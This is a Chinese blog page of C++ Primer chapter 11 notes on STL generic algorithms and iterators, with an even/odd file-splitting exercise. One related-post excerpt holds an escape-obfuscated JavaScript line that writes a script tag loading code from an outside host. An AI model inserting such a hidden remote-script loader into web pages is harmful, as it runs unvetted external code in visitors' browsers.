十一章 札记--C++ primer 之旅

文石NoteX3国行版安装 Google Play经验分享 文石NoteX3国行版安装 Google Play经验分享。 阅读详情
find 运算: 形参:两个迭代器,检查两个迭代器实参标记范围内的每一个元素。找到与给定值的元素,返回指向该元素的迭代器;如果没匹配元素,这返回第二个形参。

注意: 泛型算法从不执行容器操作,单独依赖迭代器和迭代器操作实现,算法基于迭代器及其操作实现,而并非基于容器操作。

泛型算法     头文件 <algorithm> 
泛化的算术算法 头文件 <numeric>

只读算法:
accumulate(begin,end, 初值);     在初值的基础上累加迭代器范围内的元素和。返回结果的类型是初值的类型
                                               注意:初值是必须的,算法通过初值确定迭代器累加元素的类型。

find_first_of( 查找的地方一对迭代器, 目标值的一对迭代器);两对迭代器之间元素只要可以使用== 操作符比较即可。

写容器元素的算法:
1、写入输入序列的元素: 传入的实参是 一对迭代器( bed,end ) ,只在指定范围内写入
     EX: fill( vec.begin(), vec.end(),0);
    
2、不检查写入操作的算法: 参数: 一个迭代器、 一个计数器 以及一个值。     
     EX: fill( vec.begin(), 10, 0) ; //  从vec 的begin开始,写入10个元素。 
     注意:这种操作是假设对指定的元素写操作是安全的,所以不检查目标的大小是否足以存储要写入的元素, 如果目标大小< 要写入的元素, 会导致严重的运行时错误。

3、back_inserter     头文件<iterator> 
     back_inserter 是迭代器适配器. 传递给back_inserter 的实参是一个容器的引用, back_inserter 生成一个绑定在该容器上的插入迭代器。试图通过这个迭代器给元素赋值时,赋值运算将调用push_back 在容器添加一个指定值的元素。
     EX: vector<int> vec;
             fill_n( back_inserter(vec), 10, 0);

4、写入目标迭代器的算法:向迭代器写入未知个数的元素。
     EX copy ( list.begin(), list.end(), back_inserter(vec)) ;
          头两个指定输入范围, 第三个指定目标序列的一个元素。


算法的   _copy 版本:
     对输入序列的元素做出处理,但不修改原来的元素,而是创建一个新序列存储元素的处理结果
     EX:
          replace( list.begin(), list.end(), 0, 42) ;  //  把 begin  和 end 之间值为0 的元素 替换为42.
          replace_copy( list.begin(), list.end(), back_inserter(ivec), 0, 42) ; // 调用函数后,list 没有改变,而是把改变了的list复制给了ivec。 

unique 使用:
     带有两个指定元素范围的迭代器参数。该算法“删除”相邻的重复元素。 其实就是重新排列了元素,把重复的元素排到序列的后面,所以序列的前半部分就是不重复的序列。 函数的返回 一个迭代器,指向无重复元素的下一个位置。


排序算法: 
     sort 和 stable_sort : 后者保留了相等元素的原始相对位置。

迭代器:  头文件 <iterator>
     1) 插入迭代器
               插入器: 迭代器适配器,带有容器函数,生成一个迭代器。用于在指定容器中插入元素。
                          三种插入器: back_inserter : 创建使用 push_back 的迭代器
                                               front_inserter :                push_front
                                               insert:                             insert ,带有两个参数:容器; 插入起始位置的迭代器
               
     2) iostream 迭代器
            istream_iterator 用于读取输入流
            ostream_iterator 用于写输出流

            iostream 迭代器构造函数:
               istream_iterator<T> in (strm) ;      创建从输入流strm 中读取 T 类型对象 的istream_iterator对象
               istream_iterator<T> in;                 istream_iterator 对象的超出末端迭代器
               
                    ostream_iterator <T> in(strm);     创建将T类型的对象写到输出流strm 的ostream_iterator 对象。
                 ostream_iterator <T> in(strm, delim); 同上,在写入过程中使用delim作为元素的分隔符。 delim 是以空字符结束的字符串(c风格字符串)
 注意: ostream_iterator对象必须与特定的流绑定在一起。
                     istream_iterator 如果不提供实参,则该迭代器指向超出末端位置。
                 ostream_iterator 分隔符必须是c 风格字符串。
          
                     EX: 
                              istream_iterator<int> in_iter(cin);
                  istream_iterator<int> eof;
                        vector<int> vec (in_iter,eof);
          
       流迭代器的限制:
          不能从 ostream_iterator 对象读入,不能写入 istream_iterator 
          ostream_iterator 赋值后就不能修改了
           ostream_iterator 没有 ->操作符

习题 11.18
 int main(int argc, char** argv)
 {
     if(argc < 3)
          throw runtime_error(" no enough input file ");
     ofstream even_file, odd_file;
     if(!open_file(even_file,argv[1]) ||  !open_file(odd_file,argv[2]))
          throw runtime_error( " open file fail " );
     ostream_iterator <int>even_ost(even_file," "), odd_ost(odd_file," ");
     istream_iterator <int>ist(cin),eof;
     while(ist!=eof)
     {
          if(*ist&1)
               *odd_ost++ = *ist;
          else
               *even_ost++ = *ist;
          ist++;
     }
}

    3)反向迭代器

反向迭代器需要使用自减操作符。 流迭代器不能创建反向迭代器
反向迭代器与其他迭代器的关系 .    base();

    
迭代器种类:
     1) 输入迭代器:      读,不能写,只支持自增运算。
                             
     2) 输出迭代器:      写,不能读,只支持自增运算。

     3) 前向迭代器:      读写,     只支持自增运算。

     4) 双向迭代器:      读写:      自增,自减
     
     5) 随机访问迭代器:读写          完整的迭代器运算。


重新对容器元素排序的算法要使用< 操作符,重载版本带有一个额外的形参,表示对于元素排序的不同运算
     sort( beg, end);
     sort( beg, end, comp);

检查指定值的算法默认使用== 操作符。  这类算法的另外命名的版本,带有谓词函数形参,名字带有后缀_if
     find (beg ,end ,val);         // 找到第一个值为 val 的   
     find_if (beg ,end , pred);     //  找到第一个使pred 为 true 的元素


实现复制的算法版本:
     默认情况下,这些算法将重新排列的元素写回其输入范围, 可以使用_copy 版本 将元素写入指定的输出目标。
     EX: reverse( beg, end);
             reverse_copy( beg, end, dest);






MOSFET雪崩特性参数解析 但是,一些电源在输出短路时,初级中会产生较大的电流,加上初级电感,器件就会有雪崩损坏的可能,因此在这样的应用条件下,就要考虑器件的雪崩能量。对于那些在MOSFET的D和S极产生较大电压的尖峰应用,就要考虑器件的雪崩能量,电压的尖峰所集中的能量主要由电感和电流所决定,因此对于反激的应用,MOSFET关断时会产生较大的电压尖峰。雪崩击穿能量标定了器件可以容忍的瞬时过冲电压的安全值,其依赖于雪崩击穿需要消散的能量。EAS单脉冲雪崩击穿能量, EAS标定了器件可以安全吸收反向雪崩击穿能量的高低。 阅读详情

相关推荐

操作系统笔记【全-408统考】【附思维导图】

操作系统 思维导图 概述 操作系统的概念 管理计算机软件和硬件资源 最基本的系统软件 特征 并发 区分并发并行 共享 互斥共享方式 同时访问方式 虚拟 逻辑上多个。虚拟处理器的分时,空分复用的虚拟存储器 采用多道程序设计 异步 由于资源有限,进程走走停停 可能会导致进程产生与时间有关的错误。访问顺序 目的和功能 1.管理计算机资源 功能 处理机管理、存储器管理、文件管理、设备管理 目标:安全、有效 2.作为用户与计算机硬件系统

wvdon 2364

C++ Primer札记(五)

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S)

219

abaqus 6.13安装(ubuntu 16.04LTS)

1。从iso将文件拷贝出来 2。chmod 777 -R ./* 给文件权限 3。sudo /home/xx/A/setup 4。安装licenseserver 5。拷贝lic,log文件 6。打开license sudo ./lmgrd -c path 7. 27011@xx or 27011@localhost ...

a1099313374的博客 1950

c++调用gcd函数_C++ Primer 学习札记(5)——函数

C++ Primer 学习笔记(5)——函数1.函数的定义函数的调用请参看以下程序:#include using namespace std;//return the GCD(greater common divisor)int gcd(int v1, int v2){while(v2){int temp = v2;v2 = v1 % v2;v1 = temp;}return v1;}int ma...

weixin_27875131的博客 1051

别再死记硬背GNN公式了!用PyTorch Geometric从零实现一个GraphSAGE(附完整代码)

本文通过PyTorch Geometric从零实现GraphSAGE模型,深入解析图神经网络的核心原理与实战应用。文章提供完整代码示例,涵盖环境配置、邻居采样、信息聚合等关键步骤,帮助开发者掌握图表示学习技术,避免陷入公式推导的困境。适合希望将GNN应用于实际项目的中级开发者和学生。

weixin_42530570的博客 346

发那科机器人弧焊指令实战:从Search指令到组掩码设置的完整避坑指南

本文详细解析了发那科机器人弧焊指令系统的实战应用,从Search指令的正确使用到组掩码设置的避坑技巧。通过实际案例和参数优化建议,帮助工程师提升焊接质量和生产效率,避免常见错误操作。特别针对T2模式示教难题和外部轴协调运动提供了专业解决方案。

weixin_29040367的博客 184

[转]C++学习小结 - 学习札记 - C++博客

导读:   关注此博客已经很久了,但是由于校园网的原因,导致无法快速访问,所以一直用抓虾在看,但是觉得还是有必要申请一个。我发现此博客上的技术性都很强,很值得学习。废话少说了,既然申请了此博客,全当c++学习的一个新的台阶吧。   此前,自己学习C++书看了不少。《C++ Primer Plus》 5th (当时以为是《C++ Primer》)是自己看的第一本C++的书籍,此书看得我头昏眼

674

SpringBoot 指标监控——Actuator

1、 访问:localhost:8000/actuator 设置健康监控显示具体情况 metrics http://localhost:8000/actuator/metrics/jvm.gc.live.data.size 定制化health信息 //利用构造器,在注册中心中添加cityService.saveCity.count指标 public CityServiceImpl(MeterRegistry meter...

weixin_44302046的博客 4628

二章 札记 --C++ primer 之旅

实习告一段落,翻开C++primer 准备苦逼的重温C++ 。以下是一些 从书上抄下来的笔记。 测试: -10u 是什么类型? -10u 类型是unsigned int  使用 typeid(-10u).name() 测试的 变量的初始化: 1、复制初始化: int ival=1024; 2、直接初始化: int ival(1024); 直接初始化语法更灵活且效率更高。

lsff Code World 817

innovus:ccopt_design分段长tree操作

这步don't touch保证后面完整cts尽量不会动到已经长过的tree。需要给sub tree手写一个spec,参考create_ccopt_clock_tree_spec -file的写法,只写create_ccopt_clock_tree和skew group部分就行。

m0_61544122的博客 1677

【异常】 OpenClaw 超长入参报错排查与解决方案 [错误]: 400 <400> InternalError.Algo.InvalidParameter: Range of input leng

摘要: OpenClaw服务调用出现400 InvalidParameter报错,核心原因为输入内容长度超出1-129024字符限制。解决方案包括:1)紧急精简冗余入参;2)标准分块处理长文本;3)客户端增加预校验模块;4)长期可申请调整服务规格。该错误属于客户端参数校验异常,通过合理控制输入长度或分批次处理即可解决,重点需保证语义完整性。建议优先采用自动化预校验机制,从源头预防问题发生。(149字)

奶爸的编程之路,也就一周冷个三天 1987

【C++ Primer 学习札记】初始化和赋值

参考博客:【初始化(C++primer5th学习笔记)】https://blog.youkuaiyun.com/blubluhao/article/details/53436387 《C++ Primer》P39 初始化不是赋值,初始化的含义是创建变量时赋予其一个初始值,而赋值的含义是把对象的当前值擦除,而以一个新值来替代。 1、默认初始化 (1)对于内置类型(int),定义在任何函数之外的变量...

LeonJin的博客 307

手把手教你学PCIE(10.5)--PCIE故障排除方法的分步排查法介绍

通过以上分步排查法,你可以系统地诊断和解决 PCIe 设备的故障。每个步骤都有助于逐步缩小问题范围,最终找到并解决问题。

MHD0815的博客 1873

C++ Primer 札记(一)

左值就是址值,右值就是数据值。 占位符 int (*matrix)[10] 注意*matrix 周围的括号是必需的因为下标操作符的优先级较高下列声明 int *matrix[ 10 ]; 将matrix 声明成一个含有10 个指向int 的指针的数组 建议把inline 函数的定义放到头文件中 链接指示符extern "C" 引用必须被初始化为指向一个对象一旦初始化了它就不能再 指向其...

MissLong的专栏 314

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

八章 札记--C++ primer 之旅

IO 对象 不可复制或赋值 形参或返回类型不能是流类型,可以通过传递或返回指向该对象的指针或引用 来传递和返回IO 对象。 所有流对象都包含一个条件状态成员,类型为iostate 类型 流的状态由 bad , fail ,eof 和 good 操作解释,如果 bad,fail 或者 eof 任意一个为 true ,则检查流本身将显示该流处于错误状态。反之,如果三个

lsff Code World 564

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

七章 札记--C++ primer 之旅

const 形参:      如果将函数形参定义为非引用的const类型,EX: void fcn(const int i) {};  则不能修改实参的局部副本。   注意:  void fcn(const int i) {}; 和  void fcn(int i) {}; 编译的结果是一样的。 规则: 如果使用引用实参的唯一目的是避免复制实参,则应该将实参定义为const 引用

lsff Code World 752

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

十章 札记--C++ primer 之旅

两个基本的关联容器:      map:            关联数组, 元素通过键来存储和读取      set:              集合,       multimap:     同一个键可多次出现的map      multiset:       同一个键可多次出现的set pair类型 : 头文件  utility  map 类型: 头文件 m

lsff Code World 503

四章 札记--C++ primer 之旅

数组的类型 不能是引用。即不存在引用的数组。 数组:         char s[]="C++";   等价于  char s2[]={'c','+','+','\0'};                     数组下标的正确类型是 size_t; 指针:       理解指针声明语句时,从右往左阅读。      EX :string *pstring

lsff Code World 476

九章 札记--C++ primer 之旅

进入容器的学习了。 顺序容器: vector      快速随机访问            list           快速插入/删除 deque       双端队列 顺序容器适配器:(适配器是根据原始的容器类型所提供的操作,通过定义新的操作接口,来适应基础的容器类型)           stack                queue

lsff Code World 518

C++ Primer 学习札记(二)

XanaduV的专栏 448

C++ Primer 学习札记(一)

XanaduV的专栏 373

【C++ Primer 学习札记】顶层const和底层const

《C++ Primer》P53 因为const对象一旦创建后其值就不能再改变,所以const对象必须初始化。 《C++ Primer》P57 对于指针来说, 用名词顶层const(top-level const)表示指针本身是个常量,而用名词底层const(low-level const)表示指针所指的对象是一个常量。 更一般的, 顶层const可以表示任意的对象是常量,这一点对...

LeonJin的博客 227

五六章 札记--C++ primer 之旅

赋值表达式的值是左操作数的值,其结果的类型为左操作数的类型。 赋值操作具有右结合性 。  EX: int ival,jval;  ival=jval=0; 建议: 只有在必要是才使用后置操作符。++;  --             前置操作不用保存原来操作数的未修改值,操作更少。 *iter++  等价于 *(iter++) :  后自增操作的优先级高于解引用操作

lsff Code World 488

C++ primer 札记

派生类基类赋值规则 智能指针,句柄类与iterator——copy control 左值与右值   数据分配区域的思考:堆or栈 Q1:分配成功与否的检查(长度与assert),异常机制应用 Q2:及时回收内存空间(重载析构函数。。。),指针=NULL,防止悬垂指针的出现导致Q1无法抛出异常(注意int p=0) Q3:系统分配与coder分配   函数|方法:(typedef函

real9593的专栏 396

C++ Primer 学习札记(三)

XanaduV的专栏 428

C++ Primer 学习札记(二)续

XanaduV的专栏 470
上一篇: 十章 札记--C++ primer 之旅
下一篇: 十二章 札记--C++ primer 之旅
lsff01
博客等级 码龄14年 4粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值